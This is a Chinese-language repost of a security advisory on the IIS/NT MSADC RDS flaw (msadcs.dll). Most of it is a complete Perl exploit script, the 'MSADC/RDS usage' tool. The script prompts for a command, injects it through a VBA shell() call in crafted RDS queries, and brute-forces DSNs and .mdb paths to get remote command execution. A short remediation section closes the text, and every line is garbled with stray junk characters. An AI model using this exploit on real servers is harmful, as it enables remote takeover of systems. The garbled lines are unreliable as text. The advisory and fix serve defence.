IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*>Om3[D vC+mC4~/( 涉及程序：
5.5dB2w Microsoft NT server
kA\;h|Y3 42Ql^ka 描述：
574 b] 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
(Z 6[a{}1i lz l4pnj 详细：
gy~M]u{ 如果你没有时间读详细内容的话，就删除:
?Cmb3pX^\ c:\Program Files\Common Files\System\Msadc\msadcs.dll
'VR5>r 有关的安全问题就没有了。
BOfO$J} b]CJf8'u 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
%xWmzdn 9 Q].cDe[ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
yTbBYx9Bi 关于利用ODBC远程漏洞的描述，请参看:
4Mg0 9 ZYu^Q6 b3 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm bncK8SK :tR%y" 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
$3"0w http://www.microsoft.com/security/bulletins/MS99-025faq.asp ("m W=Ln 28Q`O$=v 这里不再论述。
HHtp.; L/ y $\K@B4 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
EL~s90C A+ Z3b:}~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'6
w|z^ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
K\n %&w Ya\G/R ,3N8 #将下面这段保存为txt文件，然后: "perl -x 文件名"
_H:SoJ' "B)DX*- \? #!perl
?55('+{l #
cDE?X o'! # MSADC/RDS 'usage' (aka exploit) script
TSE(K t #
<*4=sX@ # by rain.forest.puppy
tk_y~-xz #
n>Zkx+jLj< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
VVCCPK^< # beta test and find errors!
l 4~'CLi VAq(
t use Socket; use Getopt::Std;
@A$%baH0 getopts("e:vd:h:XR", \%args);
@/|sOF;8W unjo& print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
G++kU o< !.3
MtXr if (!defined $args{h} && !defined $args{R}) {
/R@(yT=t print qq~
yu}4L'e Usage: msadc.pl -h <host> { -d <delay> -X -v }
hhYo9jTHW -h <host> = host you want to scan (ip or domain)
hRc\&+#/ -d <seconds> = delay between calls, default 1 second
!K` ;fp! -X = dump Index Server path table, if available
GlD@Ud>o) -v = verbose
/Rt/E fu -e = external dictionary file for step 5
h3O5DP6~ j: {<
Or a -R will resume a command session
%!YsSk, W,w g @2 ~; exit;}
Rs<,kMRGVL {L<t6A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
nc$?tC9V if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
/0 @}7+& if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<NS= <'U if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
@X4; fd $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
n7{1m$/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
A$1pMG~as 2hU4g
e?6 if (!defined $args{R}){ $ret = &has_msadc;
QRt(?96
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
5{cAawU. "q]v2t print "Please type the NT commandline you want to run (cmd /c assumed):\n"
_$Z46w HmB . "cmd /c ";
\a|gzC1G $in=<STDIN>; chomp $in;
~(hmiNa; $command="cmd /c " . $in ;
LJI&j \ m=%W <8[V if (defined $args{R}) {&load; exit;}
b S0^AVA TXrC5AJx print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Fb-NG.Z# &try_btcustmr;
S:^Q( w7 z!RA=]3h print "\nStep 2: Trying to make our own DSN...";
M5P63=1 + &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Xwx;m/ q $EVd9aN print "\nStep 3: Trying known DSNs...";
lkw[Z}\ &known_dsn;
6EPC$*Xp! hpAIIgn print "\nStep 4: Trying known .mdbs...";
BDB-OJ &known_mdb;
nNQ\r O %e1<N8E4 if (defined $args{e}){
dIM:U :c print "\nStep 5: Trying dictionary of DSN names...";
V(w[`^I>~ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
5i1 >z{ Ea P#~x print "Sorry Charley...maybe next time?\n";
QP\vN|r exit;
;g W~+hW ^ 4tq>Lx^5U ##############################################################################
XWB>'
UDQ# I
s8| sub sendraw { # ripped and modded from whisker
C*c=@VAa sleep($delay); # it's a DoS on the server! At least on mine...
);,#H`' my ($pstr)=@_;
sPd5 f2' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&Kj q dp die("Socket problems\n");
=8 tdu B if(connect(S,pack "SnA4x8",2,80,$target)){
}i/{8Ou W select(S); $|=1;
ngdVRJL print $pstr; my @in=<S>;
w#JF7; select(STDOUT); close(S);
TFM}P return @in;
rylllJz|L: } else { die("Can't connect...\n"); }}
Gjv'$O2_ % yJs "% ##############################################################################
4 Y-9W2s @aj"1 2 sub make_header { # make the HTTP request
H;$w^Tr my $msadc=<<EOT
,'ndQ{\9 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ZS}2(t User-Agent: ACTIVEDATA
ly^F?.e- Host: $ip
lezdJ Content-Length: $clen
_L:
/2 Connection: Keep-Alive
xt3IR0 xQmk2S`
y ADCClientVersion:01.06
hW|t~|j#_ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
s';jk(i3 y:W$~<E`p --!ADM!ROX!YOUR!WORLD!
~&Kf J Content-Type: application/x-varg
q.g!WLiI Content-Length: $reqlen
my04>6 j0 MJ7!f+!5
EOT
F*]AjD - ; $msadc=~s/\n/\r\n/g;
8:0l5cZE return $msadc;}
<:%Iq13D d<Z`)hI{K ##############################################################################
?m~;*wn% _`;6'}]s sub make_req { # make the RDS request
Z NuyGo; my ($switch, $p1, $p2)=@_;
WOg_Pn9HI my $req=""; my $t1, $t2, $query, $dsn;
]jy6C'Mp ]cA){^.Jz if ($switch==1){ # this is the btcustmr.mdb query
!Ug J^v $query="Select * from Customers where City=" . make_shell();
ETtK%%F0 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;APg!5X $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
g 0iV#i zlXkD~GV elsif ($switch==2){ # this is general make table query
i#Wl?(-i $query="create table AZZ (B int, C varchar(10))";
0dnm/ 'L $dsn="$p1";}
uQ&xoDCB 6}<PBl%qe elsif ($switch==3){ # this is general exploit table query
@9QHv $query="select * from AZZ where C=" . make_shell();
7R)"HfUh $dsn="$p1";}
57HMWlg al" 1T- elsif ($switch==4){ # attempt to hork file info from index server
SmtH2%y I $query="select path from scope()";
a_pkUOu6 $dsn="Provider=MSIDXS;";}
qdcCX:Z< _ b#9^2o elsif ($switch==5){ # bad query
m&;
t;&# $query="select";
IO fo]p- $dsn="$p1";}
H]}-
U8}sp rT"8e*LT $t1= make_unicode($query);
E=7" }; $t2= make_unicode($dsn);
8LiRZ " $req = "\x02\x00\x03\x00";
5M*ZZ+ YX $req.= "\x08\x00" . pack ("S1", length($t1));
Kj'm<]u $req.= "\x00\x00" . $t1 ;
GR|Vwxs<@P $req.= "\x08\x00" . pack ("S1", length($t2));
C \ }m_`MR $req.= "\x00\x00" . $t2 ;
xat)9Yb}0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;E##bdSCA return $req;}
v
7Pv&| &jg ,8 ##############################################################################
=D 3Y
q? LkNfcBa_ sub make_shell { # this makes the shell() statement
I.\u2B/? return "'|shell(\"$command\")|'";}
2{{M{#}S. qWr`cO~hc ##############################################################################
b7"pm)6 ]C]tLJ!M sub make_unicode { # quick little function to convert to unicode
*d(wO l5[ my ($in)=@_; my $out;
=Ybbh`$< for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
< Oy% return $out;}
?(ks =rRK 3>?ip; ##############################################################################
d~28! E+ NO 6. qWl sub rdo_success { # checks for RDO return success (this is kludge)
9]hc{\ my (@in) = @_; my $base=content_start(@in);
|F6C&GNYT if($in[$base]=~/multipart\/mixed/){
'+-R 7# return 1 if( $in[$base+10]=~/^\x09\x00/ );}
X'i ki4 return 0;}
W+1V&a}E Z., Pl ##############################################################################
:X@;XEol~ fzSZ>I0R sub make_dsn { # this makes a DSN for us
DY,Sfh;tp my @drives=("c","d","e","f");
+I JpqFH print "\nMaking DSN: ";
l*%?C* foreach $drive (@drives) {
Npq=jlj print "$drive: ";
|nocz]yU$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
s31^9a "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^3*gf} . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
h=)Im ) $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
U6_1L,W return 0 if $2 eq "404"; # not found/doesn't exist
tT'd] if($2 eq "200") {
%yptML9 foreach $line (@results) {
c*6o{x}K return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
!.p! } return 0;}
orTTjV]_m l< v /T ##############################################################################
y(N -1 y )/d- sub verify_exists {
Zwq
u S9 my ($page)=@_;
E1VCm[j2 my @results=sendraw("GET $page HTTP/1.0\n\n");
l;?.YtMg return $results[0];}
+Cau /sPXL J-u,6c ##############################################################################
6x -PGq @W^g(I(w sub try_btcustmr {
ydlH6 > my @drives=("c","d","e","f");
4e*0kItC my @dirs=("winnt","winnt35","winnt351","win","windows");
xaS kn vqL{ ~tR foreach $dir (@dirs) {
{d )Et;_ print "$dir -> "; # fun status so you can see progress
R[#5E|` `9 foreach $drive (@drives) {
oNiS"\t print "$drive: "; # ditto
0BE%~W $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$SXF>n{} $reqlenlen=length( "$reqlen" );
6`+DBr $clen= 206 + $reqlenlen + $reqlen;
MTqbQ69v +>I4@1qC-| my @results=sendraw(make_header() . make_req(1,$drive,$dir));
yy #Xs:/ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
F s&m'g else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
UayRT#}] 5B98}N ##############################################################################
-j<UhW O;,k ~ sub odbc_error {
{CGk5` g~ my (@in)=@_; my $base;
Ik kJ4G my $base = content_start(@in);
A+[wH( if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Xi0/Wb h\ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0@xuxm/i $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Jl^oDW $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r#{lpF,3Ib return $in[$base+4].$in[$base+5].$in[$base+6];}
)6AOP-M.9 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
*|` ' L print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
<F!:dyl $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
06=eA0JI Q'\j m=k ##############################################################################
otPEJ^W&
hSg: Rqnk sub verbose {
Rl S=^}> my ($in)=@_;
I A+>dr
return if !$verbose;
se)I2T{J print STDOUT "\n$in\n";}
QZwRg&d<o C-2n2OM. ##############################################################################
-(1e!5_-@
f0hi70\(X sub save {
} g
my ($p1, $p2, $p3, $p4)=@_;
B3yn:=80 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:z"Uw* print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*:d_~B?Tn close OUT;}
zZE?G:isR tPp }/a%D ##############################################################################
L\"=H4r *tP,Ol sub load {
a~{St v my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
V];RQ Ws open(IN,"<rds.save") || die("Couldn't open rds.save\n");
9ge$)q@3 @p=<IN>; close(IN);
2.:b $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
bqLv81 V $target= inet_aton($ip) || die("inet_aton problems");
X0=R
@_KY print "Resuming to $ip ...";
LLU>c]a $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
:Mt/6} if($p[1]==1) {
z&- `<uV~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_c #P $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Rd#,Tl \ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
hA~}6Qn if (rdo_success(@results)){print "Success!\n";}
X0C\87xfG else { print "failed\n"; verbose(odbc_error(@results));}}
wicg8 [T=B elsif ($p[1]==3){
V5A7w
V3~ if(run_query("$p[3]")){
](0A/,#q6 print "Success!\n";} else { print "failed\n"; }}
___+5r21\ elsif ($p[1]==4){
e%f8|3<6 if(run_query($drvst . "$p[3]")){
|0 Zj/1<$ print "Success!\n"; } else { print "failed\n"; }}
v'iQLUgI exit;}
JUXK}0d%eN 5N[ Y2 ##############################################################################
h
knobk .}0Cg2W sub create_table {
Dljq my ($in)=@_;
u(lq9; ;Th $reqlen=length( make_req(2,$in,"") ) - 28;
dA_s7), $reqlenlen=length( "$reqlen" );
7*4F-5G/ $clen= 206 + $reqlenlen + $reqlen;
*J $=UG,u my @results=sendraw(make_header() . make_req(2,$in,""));
2s(K4~e e return 1 if rdo_success(@results);
JEAqSZak# my $temp= odbc_error(@results); verbose($temp);
qI'a|p4fn? return 1 if $temp=~/Table 'AZZ' already exists/;
!}vz_6) return 0;}
0If d! +q2l,{|? ##############################################################################
gReaFnm Cf10 ud sub known_dsn {
&2Y>yFB
, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~E`l4'g? my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
GEvif4 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
BE m%x 0y "banner", "banners", "ads", "ADCDemo", "ADCTest");
]IoS-)$Z/ >M + !i+ foreach $dSn (@dsns) {
;PbyR}s print ".";
6Es-{u(, next if (!is_access("DSN=$dSn"));
jbg@ CA*=C if(create_table("DSN=$dSn")){
k r/[|.bq print "$dSn successful\n";
|E}N 8 \Gr if(run_query("DSN=$dSn")){
SWm dU] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t[ DXG2& print "Something's borked. Use verbose next time\n";}}} print "\n";}
`9F'mT#o/ 1 8&^k| ##############################################################################
T0Gu(c`1d <ZnAPh sub is_access {
{X< t Uco my ($in)=@_;
DG&
kY+ $reqlen=length( make_req(5,$in,"") ) - 28;
%f>V\z_C $reqlenlen=length( "$reqlen" );
XBD lQe|> $clen= 206 + $reqlenlen + $reqlen;
S[%86(,*gP my @results=sendraw(make_header() . make_req(5,$in,""));
E >7[ti_p5 my $temp= odbc_error(@results);
Sx pl% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
sF} E =lY return 0;}
=?/J.[)<* uL1 -@D, ##############################################################################
uEk$Y=p7! ` zTVup& sub run_query {
\75%[;. my ($in)=@_;
++FMkeHZ $reqlen=length( make_req(3,$in,"") ) - 28;
6T)D6;@L $reqlenlen=length( "$reqlen" );
d vUJk<;w $clen= 206 + $reqlenlen + $reqlen;
ty " k my @results=sendraw(make_header() . make_req(3,$in,""));
,qC_[PUT return 1 if rdo_success(@results);
vZ k+NS< my $temp= odbc_error(@results); verbose($temp);
{o;J'yjre1 return 0;}
f^',J@9@ \=nY&Ml ##############################################################################
O1-Ne.$ l3.HL> o sub known_mdb {
#2n>J'} my @drives=("c","d","e","f","g");
zfv l<"Rv my @dirs=("winnt","winnt35","winnt351","win","windows");
U oBu0Rx my $dir, $drive, $mdb;
/#.6IV( my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
F9Mv$ g79 xeZ,}YP) # this is sparse, because I don't know of many
P=eL24j my @sysmdbs=( "\\catroot\\icatalog.mdb",
Xd{"+'29 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
}yX a1#3 "\\system32\\certmdb.mdb",
#N7@p }P "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
;i\ i+:= c7sW:Yzil my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
M$|^?U>cm "\\cfusion\\cfapps\\forums\\forums_.mdb",
<w 8*Ly:L "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
R5| c4v{B "\\cfusion\\cfapps\\security\\realm_.mdb",
& [4 Gv61 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
F4KXx^~o "\\cfusion\\database\\cfexamples.mdb",
U
Tw\_s "\\cfusion\\database\\cfsnippets.mdb",
~%>ke "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
3~"G27, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]iY j S "\\cfusion\\brighttiger\\database\\cleam.mdb",
> u~
l_? "\\cfusion\\database\\smpolicy.mdb",
{&G0jsA "\\cfusion\\database\cypress.mdb",
^!?W!k!:V "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
O57
eq.aT "\\website\\cgi-win\\dbsample.mdb",
c]#F^(-A` "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
OZD nU6 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
1iig0l6\m ); #these are just
5Z1b9.;., foreach $drive (@drives) {
?/5WM% foreach $dir (@dirs){
m.Yj{u8zX foreach $mdb (@sysmdbs) {
IL*C/y print ".";
ms`R ^6Ra if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
p^MV< }kk print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
~#pQWa 5 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
yC(xi"! print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`[X5mEe } else { print "Something's borked. Use verbose next time\n"; }}}}}
#J# x,BLI *FmY4w foreach $drive (@drives) {
Wz;7 |UC foreach $mdb (@mdbs) {
(V!:6 print ".";
p gW BW9\ if(create_table($drv . $drive . $dir . $mdb)){
W&T -E, print "\n" . $drive . $dir . $mdb . " successful\n";
..)O/g . if(run_query($drv . $drive . $dir . $mdb)){
\u 9l4 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
>kU$bh.( } else { print "Something's borked. Use verbose next time\n"; }}}}
*QH@c3vUe\ }
e5W 8YNA 4"at~K`
Q ##############################################################################
}(FF^Mh U9 [QdC sub hork_idx {
z.P<)[LUc print "\nAttempting to dump Index Server tables...\n";
mu@He&w" print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
leR-oeSO $reqlen=length( make_req(4,"","") ) - 28;
J2W#vFe\ $reqlenlen=length( "$reqlen" );
bvzNur_ $clen= 206 + $reqlenlen + $reqlen;
THEpW{.E my @results=sendraw2(make_header() . make_req(4,"",""));
%{I b if (rdo_success(@results)){
}M7{~ov#s my $max=@results; my $c; my %d;
P'l'[Kz{' for($c=19; $c<$max; $c++){
0 w Q'~8 $results[$c]=~s/\x00//g;
~XU% _Hz $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
"Te[R%aP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
vLCyT=OB` $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
S8>1l?UH $d{"$1$2"}="";}
%wil' foreach $c (keys %d){ print "$c\n"; }
wo>7^ZA } else {print "Index server doesn't seem to be installed.\n"; }}
vJI]ZnL{ Lp31Y . 4 ##############################################################################
O2N7qV3 U, 6,Z.R T{5 sub dsn_dict {
]"q9 ~ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Y2$wL9"> while(<IN>){
c6-~PKJL $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
fj"1TtPq# next if (!is_access("DSN=$dSn"));
`s8* n(\h if(create_table("DSN=$dSn")){
'wyS9^F print "$dSn successful\n";
*3@ =XY7 if(run_query("DSN=$dSn")){
<Fo~|Nh| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
'Hf+Y/` print "Something's borked. Use verbose next time\n";}}}
Oz{FM6 print "\n"; close(IN);}
]Xm+-{5?!R "~2SHM @q ##############################################################################
H^ds<I<) d#(ffPlq sub sendraw2 { # ripped and modded from whisker
xTnFJ$RK2 sleep($delay); # it's a DoS on the server! At least on mine...
Dbl3ef my ($pstr)=@_;
0q6xX NAX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z"%{SI^ die("Socket problems\n");
h[ cqa if(connect(S,pack "SnA4x8",2,80,$target)){
yOTC>?p% print "Connected. Getting data";
>Py :9~g, open(OUT,">raw.out"); my @in;
]621Z1 select(S); $|=1; print $pstr;
HkPdqNC& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
[zJ|61^ close(OUT); select(STDOUT); close(S); return @in;
W\EvMV" } else { die("Can't connect...\n"); }}
X<sM4dwxE N(J'h$E ##############################################################################
)k[{re yz7Fe sub content_start { # this will take in the server headers
fnJx$PD~ my (@in)=@_; my $c;
~F " w for ($c=1;$c<500;$c++) {
oM^VtH=> if($in[$c] =~/^\x0d\x0a/){
Ua.%?V if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
j4wsDtmAU else { return $c+1; }}}
U<|*V5 return -1;} # it should never get here actually
O03N$ Jq
A XUVBD;"f! ##############################################################################
De
([fC ujW C!*W(Q sub funky {
;$vVYC my (@in)=@_; my $error=odbc_error(@in);
f"-3'kqo if($error=~/ADO could not find the specified provider/){
3Yf~5csY print "\nServer returned an ADO miscofiguration message\nAborting.\n";
&3Ry0?RET exit;}
4(? Z1S if($error=~/A Handler is required/){
=F% <W7 print "\nServer has custom handler filters (they most likely are patched)\n";
p`Ok(C_ exit;}
LJ Sx~)@ if($error=~/specified Handler has denied Access/){
P>EG;u@. print "\nServer has custom handler filters (they most likely are patched)\n";
1RauI0d* exit;}}
>~O/ZDu/@ e7yn" kd ##############################################################################
:z`L) rRX F@ sub has_msadc {
P N(<=v&E my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
FI @kE19 my $base=content_start(@results);
W[LQ $uj return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
f9HoQDFsM return 0;}
RijFN.s L4<=,}KS ########################
+vYV x<uTQ ${tBu# $-d {tuGkRY2 ~ 解决方案：
acI%fYw5p` 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~Efi|A / 2、移除web 目录: /msadc
